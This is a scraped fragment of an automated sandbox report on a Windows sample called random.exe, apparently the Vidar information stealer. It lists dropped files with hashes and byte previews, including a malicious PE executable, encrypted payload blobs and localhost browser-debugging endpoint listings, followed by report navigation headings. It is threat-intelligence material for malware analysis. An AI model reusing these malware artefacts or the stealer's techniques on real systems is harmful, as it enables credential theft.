Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".Z.K.s.o.+.V.C.Y.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.B.+.o.e.M.1.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.36877383238867
Encrypted:	false
SSDEEP:	48:SfNaoCB2ETECufNaoCUCXfNaoCZCDfNaoCp0UrU0U8Cq:6NnCB2ETECWNnCUCPNnCZC7NnCp0UrUA
MD5:	2A85E74FC1CDC77698A5DD3026001272
SHA1:	ADD6A6AFC88094C12CD18EDC3D8960675E49726A
SHA-256:	7BBF84115005ADB8DEB1CAEDCEBC14D46D86C42DA20CBE7CD8841A7BDE57E259
SHA-512:	D674B76DC71EB2A9B4A7D18531A640C94C8DE344021F0F36C719F7E38E40CF4202CCC511D484FD0F55A28105E1C4FDDE46DB94A7F79CFD1AB1B2C511A9683C75
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/7DF045070E7AEE278B5536E1DCB8DCB3",.. "id": "7DF045070E7AEE278B5536E1DCB8DCB3",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/7DF045070E7AEE278B5536E1DCB8DCB3"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/22E8E1A7E54A43BC4E1CC4CA888D5EE9",.. "id": "22E8E1A7E54A43BC4E1CC4CA888D5EE9",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/22E8E1A7E54A43BC4E1CC4CA888D5EE9"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.403561606525835
Encrypted:	false
SSDEEP:	96:6NnCK5HCKYNnCEbC3NnCs9CmNnC2SdgECANnC8CaNnCWCQDCWzNnCgwCKNnC78Rc:6N2NWNPNOvN1NnCQrzNBQN2/1
MD5:	8B5D5E30A5B131D9E18F06B43E029119
SHA1:	A99972A62280EE37D77B97605993C33660ACEAB0
SHA-256:	6F5E97C874CD288BC1AEDF3212C9998458B1B671576B5D1492B63FBFF324D0C9
SHA-512:	1436C64949F285E3668F69572B62F8826EE98EBB57A6923026EE411AC565F4040B70F787085FDA2485834AD793163D21598F73142E98612758C95777257E696C
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/43113F48D81E6393CC1600FA98111F4C",.. "id": "43113F48D81E6393CC1600FA98111F4C",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/43113F48D81E6393CC1600FA98111F4C"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/DBF845C0A15F377BB03207E30650EFE3",.. "id": "DBF845C0A15F377BB03207E30650EFE3",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/DBF845C0A15F377BB03207E30650EFE3"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Temp\084f9519-66ad-48e8-884e-8c95d8456771.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	31335
Entropy (8bit):	7.694019108205432
Encrypted:	false
SSDEEP:	768:514ugFV0910SWyR5kNVdS3sNp/xm3MbiMuYEDlyFUyv6E/ty8:5WcDWyRKNVd2M/IxMuYEDlymsTQ8
MD5:	6B72597205C77D3E40E1A35BEE403801
SHA1:	6BECEE055C6E057AF9475B6D651B4EE561D02F20
SHA-256:	C899297FBDFC88C1634B1145A087FDB5BE17172FD786C078B299557B22F06DEB
SHA-512:	7CB1A98E0C7FBB349D9CB681233A9F4ED22A1C3FAADCDF1BC270B04BD97D3FC41AB6F762B2F5F231281D63D96AC3D243640BA81D5E8CCD9F54486B4F538CA8B4
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\190244\Rna.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\190244\v

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	261334
Entropy (8bit):	7.999342471878361
Encrypted:	true
SSDEEP:	6144:15LwitWai0j8qnupek2EP7k2mCQiDYxFHtl++FA20fbHpxPBEok:15LJWnqupp2OpQbxFHv/FL0jpzI
MD5:	7A0BCCB93C8A02EDD1C5D9E05DDEA967
SHA1:	6BC4F53E75666537503E8817F6F56E85EBB9A019
SHA-256:	7BB104D6E23ED9C640B2DD122DAECD702820F2C47ED2209046D250D00A72FA74
SHA-512:	A4BEDDDDB1F6B5734F9B7EE68307593EEE5C236C8F6F899A13D032AAAFAD477F40C8D79A308106C554AE6BF85547344E16FB36473FE3582F12E3C1E63FE55A9C
Malicious:	false
Preview:	-g.w.W..e....jm...Y......Z..I.D#!.1?.I.l}.fk...?.. j.x.Nd.9..S>...;L.?.\|7?g........B..........-......eAB../...de>.XqC/..i,Ty......A.f...)b.f.$u.m#.TT..i...C..L-.."...[T..l.....qy"..!.s..j.....=.... O.;.#.2....].).1.q.IL.{t9c{..2.r.Y.y<..\..F.5.....4.M._...X C.....W..j.u.94..r...,.v..s....F;e6...1..S.P.`/%P..M...S...9...../.?.s.PA.Gj...-VM...y:........M.:V..".=W....('..^J.w^ b..H>...K.~f+.}.s... .....d...8..y...4...H\|j..b"....y.3. ....F.)_...L.0.H....6l..B....-.z...5...@%.q....m..kA.$k..'`Y. .7.C...s.c..~.)3..C....U.+....y.P.r..=.......k...RW+{c....&Z.....&A....K.K...>..%.&.%.....b......S.EqL.4Q.c.g\.G..4../...@.-.u.{..LN..%.TD...@..vth....,0B.y...`\|.!..i\...VO"..(..S. ...M!u..xx+............b...x{....@a.1....VYb...CE.TH.`..........f.U...q..Fj..8.}.45V.}..F.....Q...7...T0..w}T.....I...uu..cl....tnF/..F3L...YO.....o...Z....! ....S.H.......}..r..{.......K+..C.ow.\uSl.?.6.>..u,?F..G:..d.h.q..c.M`.kC.5ZOM!.K.....2.'=.t.=.<.n.PW~t..........

C:\Users\user\AppData\Local\Temp\581eb8e6-a86b-4116-87c5-9ecc552d96c7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\8b53255d-3274-4c9e-ad9a-433e7e7eed4b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 340 x 340, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	152997
Entropy (8bit):	7.987422274170589
Encrypted:	false
SSDEEP:	3072:ql2CkXcSrA4vHE2LXgr5OqZB+M0IDIau8MZ+7f/Yb1tLbeqrUbHt8:bRXUqE2LXkRZB+ZI0HlA7f/YxdbHr7
MD5:	C95F0403A7FBFF7A05C7C837A075202E
SHA1:	F997727CC9A2B1F79225B14B5A105BA997704935
SHA-256:	B4E075D8773B269A84B8A1014459A31428ABD85BC1055065973AE0156E5D4DA3
SHA-512:	CB667E261BA45CD57A4A94B370125B2D5D33839F29B4CBBECE391DA0CFBD3BBD4D6A6D302E0B31714C0C7B25E7058573DCC360EEFDF1172A6F4ABF54D2EE16E6
Malicious:	false
Preview:	.PNG........IHDR...T...T.....{......pHYs.................sRGB.........gAMA......a...8.IDATx.......u...}..X. ..d.(.K.Z..v1FW)).C<.1......+$..A..j......IH....U.,.2+.k.......Z^.`l.c....f.c.....g?....w..4.....t....~..9.=...~.>.u{..w.t.{..~..}.].7..{.4{..x......Ua.........yL.......,?...O..n.\|.#......?y..O.0../...._.....s9.sy....i......i...7.....@.z..o...-...1..o..i.8....o./..n....C.=....d^....O...6/..........5.....v..r./....w..O.{.k_..g\\..W7...u...m........c....w....! .Q.}l?..X.......C...d....-`MX^.Gl.5.K..\|t....7..'.\..\..rG...?v...U.mC..gs....^.c.y.~.\...........`.d......Vmc.........Q.q/.`.}l.M\W.o..v..........-..s9.s.........>q....C.F........c..q...m.[^.\|g....0....h.Z.R...:F..8.zU(+......."...8.....ox.....!.......^..7.._F....w...8.@...>.PS..h..s...Au;&f,&.y8=\|x..g....\.;....Xm....}.........S..s9.s.m.m..;...e.y...>....7H."...F1..v/....;......q.....q\|......Y;..[pj.\|..2@.W-.!.].K......<K.....q................mWn[@]@.......l.r_w.;.,&JF.84

C:\Users\user\AppData\Local\Temp\9a46265f-7823-4638-918e-f1e05213a226.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154255
Entropy (8bit):	7.844315193710191
Encrypted:	false
SSDEEP:	3072:IH0Gn9mK7OlWbWd/4yjbZH/FZnUO5wYrfzeIX74kwjFMziwmNfxL15tUyH:IUG9mKqlzgyjbZH/jUyLXUkwjF971FUi
MD5:	240CD355E89EC1F3566BB2EF1F361DAD
SHA1:	2ADE60EB20F0FB16657A4FB024D207A931DC927F
SHA-256:	1F0388D23A4D8492E2F9839392B22A6957DEAE8750B60FF860EE939811594295
SHA-512:	961FE2017949D185761D8491AB4F7F2EC3B0562CFB6FEF202C34D685A87F2EA032F53D653E4C1D492DFF1FB43D738E7727985738C1A956A1A18AAE77A3D7F3B6
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........gE5.B1_+.)l\....n.sj.n.-.su....kM.`..w..k..u.L..G_9a ..=H..Ag.i.a. .&f!t....s. ............Fy.Cu..a9.C........f7...CW.e._.Zy.W.t.`z.B....k....\|$......G.PI/x]_...L.j..<at...%w.....K,y......s&.....%.4)p...........-2)/....P.....H.;m...}.CP..$E....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. $.I....D....h.n.8......y.\|.{5.!.!..@.9.E.o..x...=..}..<.......W".%............mo.:......\|F....\|{H0..S._....0-.ChC..h.....:.....R%Z....u/.....Y_...8./....>.).....OogU.......P.W.a...._..c,..RH}.......m#3..2.U=.O...~....2.H.O...F..Y.j..2....o..............6..?.........{........\|.^....1s..H..#.'.O..Q_....+."

C:\Users\user\AppData\Local\Temp\Assessment

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	59407
Entropy (8bit):	6.75034905429035
Encrypted:	false
SSDEEP:	768:+Ur2+9BGmd9OTGQ1Dv7sMvLHfR/ZByLiFuO/ChgZ45VatJVEV3GPkjF:v2+9BGmdATGODv7xvTphAiPChgZ2kOE6
MD5:	0BD1586903BACA9D97C9D6DCA8C8C254
SHA1:	A6D50245B0D6B27C1AB432587B0AE894AEAD1E0D
SHA-256:	54862593DE36D2C535DA78A7FEAA625AD65C1B9A20B6748C8783CA86D84A1600
SHA-512:	05EA18CA5A7C867C5B576C14997FAB73CC2CDCAFE669924F8E65A01454B8CB4CF34A35EC09A7C11A61611096BCF8859217F64654BB77FB6BD2F1919ED489ABDC
Malicious:	false
Preview:	....gE..x<.....G.5....m.."...p...=.-...."..=.0..'....;1??o.\|.^U=""....hpUb..q...?/".+..DGG..=.....333.@ .n..QU.......L.CU./...S.Ri1.N{;.G...l6k.~U}.0.O....@.{~.c.@.........Pn.A...41jS.?..?""...@....-.T..o...E.o.om.<.G..x.A.0F..T.q`.j..{:.`.jD.....\|..s.D.......m..B.GU.....q.....4.E.I.<....("....a.....{XZZ. "]"2.<U#.c......'.W..T...N..d2.Y........T.Zl.GT.C"..^+.bFU_.......\|>.r8......4.r..a......3.m?-"O.1 X....{P...k...~.0.o....)..x<.E.=..2...,....#...i.]....n.l.Tu.....U..i.....9o.x..-....f....Q.$....T..:.:..e`......T'.^.m.V*.Z.V.G......1...F..@.........$..XQ.%....F..I....J.zGGG.{...x......".f.f..0U.........G.........n...N.{LD.1U...a..+.e...j{{{.{...x.?.AZZZ\|.e.T5@....DTu@D..v -"q .$j.C.[.w.j .v.....SnTU.j;y.XP.\m7_T.q...,......L.,mllT:::..\.........u......IEND.B`........(...0...`..... ....................................................................................................V.......................................V.................

C:\Users\user\AppData\Local\Temp\Auditor

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	150528
Entropy (8bit):	6.668564116556888
Encrypted:	false
SSDEEP:	3072:X4CE0Imbi80PtCZEMnVIPPBxT/sZydTmRxlHS3NxrHSBRtf:oClbfSCOMVIPPL/sZ7HS3zcf
MD5:	B7A356482DAC71856517DA3A1D840A1E
SHA1:	D4F35E28A99E746DE5E3595341C299AE1AAE461A
SHA-256:	AE6980A117468381369152DDCE4327795268203B51D18EBD22758E05D21331FB
SHA-512:	F86E35405370EDB869A99D2C2707CA42533310E5F58E47252044CFBDA3EF37659194CFD405D71772B6B66021D94254330556F3ACCEFFEBAD326BEF99D420DB07
Malicious:	false
Preview:	.i...F...Q.....J.+.E...}...E.u..p.J..V.3.@9Q.}.@9..\|.H.F.j.+....Q..P.V..w..7.i..j.....}.Y...j.......V.PWS.di........F...j.+.j<..WS.Ki...f ..F.k.<+.3...[_^..]..U..QS.]...3..VWj..s..;PVW..i....3...HF.A..M...Q+..;..s..:.....Q....Y)....S..K....2\|...s,.u...3........NV.K...K..Y..t".;.E..S........u.V.K..Y..t..M...._..^[..]..U..].......U..QS.E.3.P.]..1...Y........9]...n...V.u.W3.G.N.;...L.u.;...L...'...9.."M..........."M.P...."M.P...."M.P...."M.Pf9.."M.u....."M.SP...."M.P...."M.PQW......"M.P...."M.SSPQSS.5......j"M...,P...h"M.P...f"M.P...d"M.Pf9.\"M.u....`"M.SP...b"M.P...^"M.P.v.W.....b"M.P...^"M.SSP.v.SW.......,.Oj.Xj.Z3.j.C_..k}.j.Xj._3.j.B[j.j.j.j.j.j.RPQj.j.....3.PPPj.PPSW.v.j.j..}.....X....L..=..L..N.;.}.;.\|&;..";.~";.}.3.@_^[..].;.\|.;...;.~.;.}.3...kF.<.F.k.<..i.....3.;.u.;5..L......;5..L.....SSSSS..o....U..QQ.e...}..VW.}.uySW.I...].....E.Y..t.....J.....l.J.WF....Yi.m.....j...6......Y...M.k..+.;U.......E....}..t.....J.....p.J.[...u*;.~&....!W..I.....E.Yt..4...J....4.l.J..u

C:\Users\user\AppData\Local\Temp\Automobiles

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	2127
Entropy (8bit):	5.123319681359439
Encrypted:	false
SSDEEP:	48:r9n9mTsCNvEQH5O5U1nPKrhBzM1FoMPhfq1koCqQ:ZSEA5O5W+MfH5S1CqQ
MD5:	5520CE6E83B85995A3F57F879E92433B
SHA1:	41916F28B67C393A97A583BE39C45434AEC8F053
SHA-256:	45048F13B1EF83FE730487316476EF75103B4B0CFCD3991982433140454B2EC8
SHA-512:	531805A93F9AB4365B07F6AD8CC8E714BED300692BC3BBB3E4F092978F3F4500A82D58A121634CB6CEC63F71F6C062007EAB57DF4C1C9D58099404BBBEA91CC8
Malicious:	false
Preview:	Region........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report random.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\g4opz\00hl68

C:\ProgramData\g4opz\00z58g

C:\ProgramData\g4opz\2dtjmy58g

C:\ProgramData\g4opz\2vkxl68gd

C:\ProgramData\g4opz\3790hv

C:\ProgramData\g4opz\47y5pz

C:\ProgramData\g4opz\4e3w4e

C:\ProgramData\g4opz\4w4ekn

Windows Analysis Report
random.exe